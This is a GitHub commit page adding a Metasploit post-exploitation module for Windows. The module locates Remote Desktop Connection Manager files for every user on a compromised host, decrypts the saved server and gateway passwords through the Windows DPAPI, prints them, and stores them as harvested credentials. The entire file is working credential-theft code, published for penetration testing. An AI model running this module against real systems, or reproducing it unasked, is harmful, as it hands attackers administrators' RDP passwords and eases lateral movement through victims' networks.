Skip to content

Commit 83bf220

Browse files
committed
Land rapid7#3730, @TomSellers's post module for Remote Desktop Connection Manager
2 parents b80519d + 5da6a45 commit 83bf220

File tree

1 file changed

+218
-0
lines changed

1 file changed

+218
-0
lines changed
Lines changed: 218 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,218 @@
1+
# -*- coding: binary -*-
2+
3+
##
4+
# This module requires Metasploit: http//metasploit.com/download
5+
# Current source: https://github.com/rapid7/metasploit-framework
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'rexml/document'
11+
require 'msf/core/auxiliary/report'
12+
13+
class Metasploit3 < Msf::Post
14+
15+
include Msf::Post::Windows::UserProfiles
16+
include Msf::Post::Windows::Priv
17+
include Msf::Auxiliary::Report
18+
include Msf::Post::File
19+
20+
def initialize(info={})
21+
super( update_info( info,
22+
'Name' => 'Windows Gather Remote Desktop Connection Manager Saved Password Extraction',
23+
'Description' => %q{
24+
This module extracts and decrypts saved Microsoft Remote Desktop
25+
Connection Manager (RDCMan) passwords the .RDG files of users.
26+
The module will attempt to find the files configured for all users
27+
on the target system. Passwords for managed hosts are encrypted by
28+
default. In order for decryption of these passwords to be successful,
29+
this module must be executed under the same account as the user which
30+
originally encrypted the password. Passwords stored in plain text will
31+
be captured and documented.
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
35+
'Platform' => [ 'win' ],
36+
'SessionTypes' => [ 'meterpreter' ]
37+
))
38+
end
39+
40+
def run
41+
if is_system?
42+
uid = session.sys.config.getuid
43+
print_warning("This module is running under #{uid}.")
44+
print_warning("Automatic decryption of encrypted passwords will not be possible.")
45+
print_warning("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
46+
end
47+
48+
settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings'
49+
profiles = grab_user_profiles
50+
51+
profiles.each do |user|
52+
next if user['LocalAppData'].nil?
53+
settings_path = "#{user['LocalAppData']}\\#{settings_file}"
54+
next unless file?(settings_path)
55+
print_status("Found settings for #{user['UserName']}.")
56+
57+
settings = read_file(settings_path)
58+
connection_files = settings.scan(/string&gt;(.*?)&lt;\/string/)
59+
60+
connection_files.each do |con_f|
61+
next unless session.fs.file.exists?(con_f[0])
62+
print_status("\tOpening RDC Manager server list: #{con_f[0]}")
63+
connection_data = read_file(con_f[0])
64+
if connection_data
65+
parse_connections(connection_data)
66+
else
67+
print_error("\tUnable to open RDC Manager server list: #{con_f[0]}")
68+
next
69+
end
70+
end
71+
end
72+
end
73+
74+
def decrypt_password(data)
75+
rg = session.railgun
76+
rg.add_dll('crypt32') unless rg.get_dll('crypt32')
77+
78+
pid = client.sys.process.getpid
79+
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
80+
81+
mem = process.memory.allocate(128)
82+
process.memory.write(mem, data)
83+
84+
if session.sys.process.each_process.find { |i| i["pid"] == pid && i["arch"] == "x86"}
85+
addr = [mem].pack("V")
86+
len = [data.length].pack("V")
87+
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
88+
len, addr = ret["pDataOut"].unpack("V2")
89+
else
90+
addr = [mem].pack("Q")
91+
len = [data.length].pack("Q")
92+
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
93+
len, addr = ret["pDataOut"].unpack("Q2")
94+
end
95+
96+
return "" if len == 0
97+
decrypted_pw = process.memory.read(addr, len)
98+
return decrypted_pw
99+
end
100+
101+
def extract_password(object)
102+
if object.name == 'server'
103+
logon_creds = object.elements['logonCredentials']
104+
elsif object.elements['properties'] && object.elements['properties'].elements['logonCredentials']
105+
logon_creds = object.elements['properties'].elements['logonCredentials']
106+
else
107+
return nil, nil, nil
108+
end
109+
110+
if logon_creds.attributes['inherit'] == "None"
111+
# The credentials are defined directly on the server
112+
username = logon_creds.elements['userName'].text
113+
domain = logon_creds.elements['domain'].text
114+
if logon_creds.elements['password'].attributes['storeAsClearText'] == "True"
115+
password = logon_creds.elements['password'].text
116+
else
117+
crypted_pass = Rex::Text.decode_base64(logon_creds.elements['password'].text)
118+
password = decrypt_password(crypted_pass)
119+
password = Rex::Text.to_ascii(password)
120+
if password.blank?
121+
print_warning("\tUnable to decrypt password, try migrating to a process running as the file's owner.")
122+
end
123+
end
124+
125+
elsif logon_creds.attributes['inherit'] == "FromParent"
126+
# The credentials are inherited from a parent
127+
parent = object.parent
128+
username, password, domain = extract_password(parent)
129+
end
130+
131+
return username, password, domain
132+
end
133+
134+
def parse_connections(connection_data)
135+
doc = REXML::Document.new(connection_data)
136+
137+
# Process all of the server records
138+
doc.elements.each("//server") do |server|
139+
svr_name = server.elements['name'].text
140+
username, password, domain = extract_password(server)
141+
if server.elements['connectionSettings'].attributes['inherit'] == "None"
142+
port = server.elements['connectionSettings'].elements['port'].text
143+
else
144+
port = 3389
145+
end
146+
147+
print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}")
148+
register_creds(svr_name, username, password, domain, port) if password || username
149+
end
150+
151+
# Process all of the gateway elements, irrespective of server
152+
doc.elements.each("//gatewaySettings") do |gateway|
153+
next unless gateway.attributes['inherit'] == "None"
154+
svr_name = gateway.elements['hostName'].text
155+
username = gateway.elements['userName'].text
156+
domain = gateway.elements['domain'].text
157+
158+
if gateway.elements['password'].attributes['storeAsClearText'] == "True"
159+
password = gateway.elements['password'].text
160+
else
161+
crypted_pass = Rex::Text.decode_base64(gateway.elements['password'].text)
162+
password = decrypt_password(crypted_pass)
163+
password = Rex::Text.to_ascii(password)
164+
end
165+
166+
parent = gateway.parent
167+
if parent.elements['connectionSettings'].attributes['inherit'] == "None"
168+
port = parent.elements['connectionSettings'].elements['port'].text
169+
else
170+
port = 3389
171+
end
172+
173+
print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}")
174+
register_creds(svr_name, username, password, domain, port) if password || username
175+
end
176+
end
177+
178+
def register_creds(host_ip, user, pass, realm, port)
179+
# Note that entries added by hostname instead of IP will not
180+
# generate complete records. See discussion here:
181+
# https://github.com/rapid7/metasploit-framework/pull/3599#issuecomment-51710319
182+
183+
# Build service information
184+
service_data = {
185+
address: host_ip,
186+
port: port,
187+
service_name: 'rdp',
188+
protocol: 'tcp',
189+
workspace_id: myworkspace_id
190+
}
191+
192+
# Build credential information
193+
credential_data = {
194+
origin_type: :session,
195+
session_id: session_db_id,
196+
post_reference_name: self.refname,
197+
private_data: pass,
198+
private_type: :password,
199+
username: user,
200+
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
201+
realm_value: realm,
202+
workspace_id: myworkspace_id
203+
}
204+
205+
credential_data.merge!(service_data)
206+
credential_core = create_credential(credential_data)
207+
208+
# Assemble the options hash for creating the Metasploit::Credential::Login object
209+
login_data = {
210+
core: credential_core,
211+
status: Metasploit::Model::Login::Status::UNTRIED,
212+
workspace_id: myworkspace_id
213+
}
214+
215+
login_data.merge!(service_data)
216+
create_credential_login(login_data)
217+
end
218+
end

0 commit comments

Comments
 (0)